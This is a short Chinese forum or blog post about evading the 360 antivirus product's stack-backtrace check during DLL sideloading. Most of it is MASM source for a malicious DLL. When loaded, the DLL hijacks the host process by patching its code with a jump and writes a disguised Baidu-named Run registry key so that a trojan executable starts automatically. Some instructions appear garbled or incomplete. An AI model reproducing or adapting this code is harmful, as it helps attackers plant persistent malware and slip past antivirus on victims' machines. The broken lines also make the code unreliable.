2014过360栈回溯
360为了XX黑加白出的栈回溯技术
当然现在还会杀DLL 不过 断链动态解密一下应该还是没有问题的
博客新开，先扔出来一点儿
.486p
.model flat,stdcall
option casemap:none
assume fs:nothing
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include Advapi32.inc
includelib Advapi32.lib
.data
szKeyAutoRun db 'Software\Microsoft\Windows\CurrentVersion\Run',0
szValueAutoRun db 'baidusdpptoet',0
jmpaddr dd 00
hookaddr dd 00
oldprotect dd 00
dllhandle dd 00
mumaexepatch byte "\RunTime process.exe",0
backbyte byte 5 dup (?);备份5个字节
.code
funcxx proc
ret
funcxx endp
funcx proc
ret
funcx endp
funcxxx proc
ret
funcxxx endp
funcxaxx proc
ret
funcxaxx endp
threadx proc x:dword
invoke FreeLibraryAndExitThread,offset dllhandle,0
mov eax,0
ret
threadx endp
func proc
local@hKey
local@szFileName:byte
invoke RegCreateKey,HKEY_LOCAL_MACHINE,addr szKeyAutoRun ,addr @hKey
;invoke GetModuleFileName,NULL,addr @szFileName,260
invoke GetCurrentDirectory,260,addr @szFileName
invoke lstrcat,addr @szFileName,addrmumaexepatch
;inc eax
;mov @szFileName,'x'
invoke lstrlen,addr @szFileName
invoke RegSetValueEx,@hKey,offset szValueAutoRun,NULL,REG_SZ, addr @szFileName,eax
invoke RegCloseKey,@hKey
ret
func endp
start proc x,y,z:dword
.if y==DLL_PROCESS_ATTACH
push x
pop dllhandle
jmp xyz
xyz:
jmp pushaddr
pushaddr:
invoke GetModuleHandle,NULL
add eax,100Bh
mov hookaddr,eax;这里已经指向指定代码了
mov jmpaddr,eax
;解除保护区域是hookaddr+100
nop
nop
nop
nop
nop
nop
mov byte ptr ,0E9H
mov eax,offset func
mov ebx ,hookaddr
sub eax,ebx
sub eax,5
mov dword ptr ,eax
invoke VirtualProtect, jmpaddr,1000,PAGE_EXECUTE_READWRITE, offset oldprotect ;
;lea eax,jmpaddr
;lea esi, offset backbyte
;cld
;movsd
;movsb
invoke GetCurrentProcess
invoke WriteProcessMemory,eax, jmpaddr,offset backbyte,5,NULL
;invoke CreateThread,NULL,NULL,offset threadx,NULL,0,NULL
jmp jmpaddr
.endif
ret
start endp
funcxxxxx proc
ret
funcxxxxx endp
end start
页:
[1]